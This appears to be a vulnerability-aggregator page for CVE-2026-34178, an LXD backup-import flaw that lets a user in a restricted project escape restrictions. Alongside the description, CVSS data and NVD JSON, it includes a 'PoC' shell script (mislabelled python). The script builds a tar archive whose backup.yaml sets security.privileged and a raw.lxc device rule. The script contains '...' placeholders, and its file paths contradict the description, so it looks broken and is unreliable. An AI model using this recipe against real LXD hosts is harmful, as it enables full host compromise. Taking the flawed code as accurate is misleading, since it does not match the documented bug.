Security Vulnerability Report
中文
CVE-2026-34178 CVSS 9.1 CRITICAL

CVE-2026-34178

Published: 2026-04-09 10:16:22
Last Modified: 2026-04-22 20:55:17

Description

In Canonical LXD before 6.8, the backup import path validates project restrictions against backup/index.yaml in the supplied tar archive but creates the instance from backup/container/backup.yaml, a separate file in the same archive that is never checked against project restrictions. An authenticated remote attacker with instance-creation permission in a restricted project can craft a backup archive where backup.yaml carries restricted settings such as security.privileged=true or raw.lxc directives, bypassing all project restriction enforcement and allowing full host compromise.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:* - VULNERABLE
Canonical LXD < 6.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-34178: LXD Project Restriction Bypass # Description: Create a malicious backup tar to bypass project restrictions. mkdir -p poc_backup/instance/ # Create the malicious backup.yaml with privileged settings cat > poc_backup/instance/backup.yaml <<EOF config: security.privileged: "true" raw.lxc: "lxc.cgroup.devices.allow = a" ... EOF # Create a dummy index.yaml to pass initial validation cat > poc_backup/index.yaml <<EOF instances: - name: malicious_instance ... EOF # Package into tar archive tar -czf malicious_backup.tar.gz -C poc_backup . echo "Malicious backup created: malicious_backup.tar.gz" echo "Import this into a restricted LXD project to exploit."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34178", "sourceIdentifier": "[email protected]", "published": "2026-04-09T10:16:21.820", "lastModified": "2026-04-22T20:55:16.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Canonical LXD before 6.8, the backup import path validates project restrictions against backup/index.yaml in the supplied tar archive but creates the instance from backup/container/backup.yaml, a separate file in the same archive that is never checked against project restrictions. An authenticated remote attacker with instance-creation permission in a restricted project can craft a backup archive where backup.yaml carries restricted settings such as security.privileged=true or raw.lxc directives, bypassing all project restriction enforcement and allowing full host compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.12", "versionEndIncluding": "5.0.6", "matchCriteriaId": "41A5CC7C-00BE-436D-957A-4636E52D0DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.21.0", "versionEndIncluding": "5.21.4", "matchCriteriaId": "92A82DF4-3ED9-47E0-BDF1-DB9138EE0883"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.7", "matchCriteriaId": "5C28FC63-0BE4-4B40-A87F-DF242AE33303"}]}]}], "references": [{"url": "https://github.com/canonical/lxd/pull/17921", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "Exploit"]}]}}